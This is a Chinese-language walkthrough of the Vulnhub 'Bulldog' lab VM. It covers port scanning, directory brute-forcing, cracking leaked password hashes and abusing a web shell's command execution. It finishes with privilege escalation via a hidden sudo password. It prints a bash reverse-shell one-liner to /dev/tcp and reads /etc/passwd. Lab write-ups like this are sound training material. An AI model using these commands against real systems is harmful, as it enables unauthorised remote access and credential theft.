2018-09-18-Vulnhub渗透测试实战writeup(2)

老规矩,信息收集的前三步whois,dns,traceroute,以及google hacking都没得做,所以直接上nmap,全端口扫描结果如下所示:

Nmap 7.01 scan initiated Tue Sep 18 20:55:33 2018 as: nmap -A -sV -p 1-65535 -oN 192.168.1.11.xml 192.168.1.11

Nmap scan report for 192.168.1.11
Host is up (0.00088s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|_ 256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-title: Bulldog Industries
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done at Tue Sep 18 20:55:48 2018 -- 1 IP address (1 host up) scanned in 15.67 seconds

可以探测到开放了23 ssh 端口,80以及8080 web http server端口,以及对应的版本信息都有了,直接上cve搜漏洞,同时开nessus扫一波.


2018-09-18-Vulnhub渗透测试实战writeup(2)_第1张图片
图一

可以看到,有两个拒绝服务的漏洞,一个用户名枚举,但是需要使用 sha1或者sha256作为哈希算法才行,感觉用处不大.
然后是两个http server端口,运行着web server gateway interface上面(没错,就是前段时间刚学的python自带的那个http server接口),python版本是2.7.12,上CVE官网上逛了逛也没发现啥有价值漏洞.
这时候nessus也没发现啥,就是能告诉我操作系统是ubuntu16.04而已,一个低危都没有.

那就上web端瞧瞧.
先打开前面的80端口,直接在网页打开


2018-09-18-Vulnhub渗透测试实战writeup(2)_第2张图片
image.png

主要是说他们的网站被黑客hack了,开除了技术人员.
看到这个第一反应就是看源码,但是除了html以外是没啥发现的,点击public note以后也是相同的情况.
那就直接上目录爆破,结果如下:


2018-09-18-Vulnhub渗透测试实战writeup(2)_第3张图片
图二

然后就是一些爆破的文件
2018-09-18-Vulnhub渗透测试实战writeup(2)_第4张图片
图三

一个一个整理下

1./admin/login是一个django登录界面(这里科普一下django是一个python编写的web application框架)


2018-09-18-Vulnhub渗透测试实战writeup(2)_第5张图片
图四

查看F12可以发现源码中有一个隐藏值,na:
2018-09-18-Vulnhub渗透测试实战writeup(2)_第6张图片
图五

这是一个CSRF的token来着.意味着要进行csrf攻击必须得绕过这个token,除非你有那个xss才行.
可以尝试爆破一波

2./dev目录下面是新来的技术总监的陈述,下面贴了他们的联系方式,后面可以考虑做成社会工程学字典的时候用.

2018-09-18-Vulnhub渗透测试实战writeup(2)_第7张图片
图六

然后老规矩打开一波f12,发现了一些编码,以为是16进制但是发现并不是.
2018-09-18-Vulnhub渗透测试实战writeup(2)_第8张图片
图七

这里实在不知道是什么编码或者哈希或者加密方式,但是发现页面提示了是密码的hash,所以可能是md5或者sha1?sha256?所以只能直接上cmd5了。
出来了两条:
[email protected]对应的
ddf45997a7e18a25ad5f5cf222da64814dd060d5
解密为bulldog
[email protected]对应的
d8b8dd5e7f000b8dea26ef8428caf38c04466b3e
是一条要钱的记录,查看别人的hint发现是
bulldoglover

3.再看看那个webshell,点进去是这样的


2018-09-18-Vulnhub渗透测试实战writeup(2)_第9张图片
图八

需要认证登录使用.

联想到之前的信息,nmap扫描出ssh以及web端有一个登录界面,所以可以拿web端发现的账号密码信息来试试,ssh如下:


2018-09-18-Vulnhub渗透测试实战writeup(2)_第10张图片
图九

两个都试了一下,发现唔得行!!!
再来试一下那个后台的登录界面:
发现两个都上去了,但是权限不能编辑任何事情


2018-09-18-Vulnhub渗透测试实战writeup(2)_第11张图片
图十

尝试了一波那个更改密码,看看有没有逻辑漏洞挖,然而并没有而且还加了csrf token,基本没有csrf可以搞。
联想到之前的webshell界面说是要登录才能用,所以可以直接上去试试。

如下:


2018-09-18-Vulnhub渗透测试实战writeup(2)_第12张图片
图十一

来到这里就是要反弹shell了,但是直接用bash来反弹shell并不能成功,看到这里的webshell支持echo命令,于是直接一波echo命令输出,然后直接把命令导入到bash里面,命令如下所示:
echo "bash -i >& /dev/tcp/192.168.1.9/4444 0>&1" | bash
记得监听端先开启netcat监听,如下:
2018-09-18-Vulnhub渗透测试实战writeup(2)_第13张图片
图十二.png

反弹shell以后很自然就直接上cat /etc/passwd了,如图
2018-09-18-Vulnhub渗透测试实战writeup(2)_第14张图片
图十三

来到这里根据前面的内容我们筛选出两个用户,一个是django,另一个是bulldogadmin,来试试找找这两个的用户的相关文件看看有没有什么思路。
先是bulldogadmin试试
2018-09-18-Vulnhub渗透测试实战writeup(2)_第15张图片
图十四

可以看到发现一个隐藏目录,目录下面有一些可以查看的内容,可以先查看note,内容如下:

Nick,
I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not!

It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?

Let me know what you think of it!
-Ashley
一波骚操作以后并未发现有啥有价值的内容,就是简单的吹水然后这后端工程师说自己写了个权限控制模型然后有价值的地方在于他说了一句webserver有时候需要root权限才能访问,看到这里就知道接下来需要朝着获取root权限提升的方向去进行了。
先尝试一下su命令,发现没权限执行该命令,于是直接上py命令。一波python "import pty; pty.spawn("/bin/bash") "
其中pty用于产生伪终端,spawn用于产生一个进程与标准io相连接。
接着再来查看一下前面的customPermissionApp,这里介绍一条新命令,strings用于打印出文件中可打印的字符出来,一波骚操作如下:


2018-09-18-Vulnhub渗透测试实战writeup(2)_第16张图片
图十五

这里可以看到该文件的用法,可以尝试执行,但是发现没权限,文件权限如下所示:


图十六

只有读权限,于是只能看看其他方面,可以看到文件中间有一部分字符串比较特殊(这里就比较ctf的做法了,现实中基本不可能用到),该部分内容如下:
2018-09-18-Vulnhub渗透测试实战writeup(2)_第17张图片
图十七

可以观察到如果去掉h的话,第一行就是super,第二行ultimate的一部分,第三部分password一部分,可以尝试把每一行h去掉,组合起来的话就是SUPERultimatePASSWORDyouCANTget,说到这里就是很自然会想到这很可能就是所谓的sudo密码了,直接一波sudo su,输入密码,一波bingo就出来了。
2018-09-18-Vulnhub渗透测试实战writeup(2)_第18张图片
图十八

总结一下思路:
1.上来先是爆破目录,爆破完目录一个个查看,然后多查看源码看看线索。
2.登录网页之后拿到webshell,存在命令执行漏洞,利用他当跳板反弹shell回来,现在学过的已经有bash 反弹,netcat反弹,还有前面的利用php反弹,不过这里是利用echo命令来反弹的。
3.反弹之后直接用Python来生成伪终端,然后查看passwd文件查看相关的用户,查看重点用户相关的文件。
4.利用隐藏目录下的文件猜密码,直接提升为root

收获:
1.目录爆破还是很重要的,作为信息收集的一部分不应该忽略。
2.反弹shell的方式多种多样,要多学习多积累。
3.查看网页源码应该成为一种习惯,进去以后查看/etc/passwd也应该熟悉起来
4.find命令要多熟悉熟悉。

参考链接:https://www.anquanke.com/post/id/106459
靶机下载链接:https://www.vulnhub.com/entry/bulldog-1,211/)

你可能感兴趣的:(2018-09-18-Vulnhub渗透测试实战writeup(2))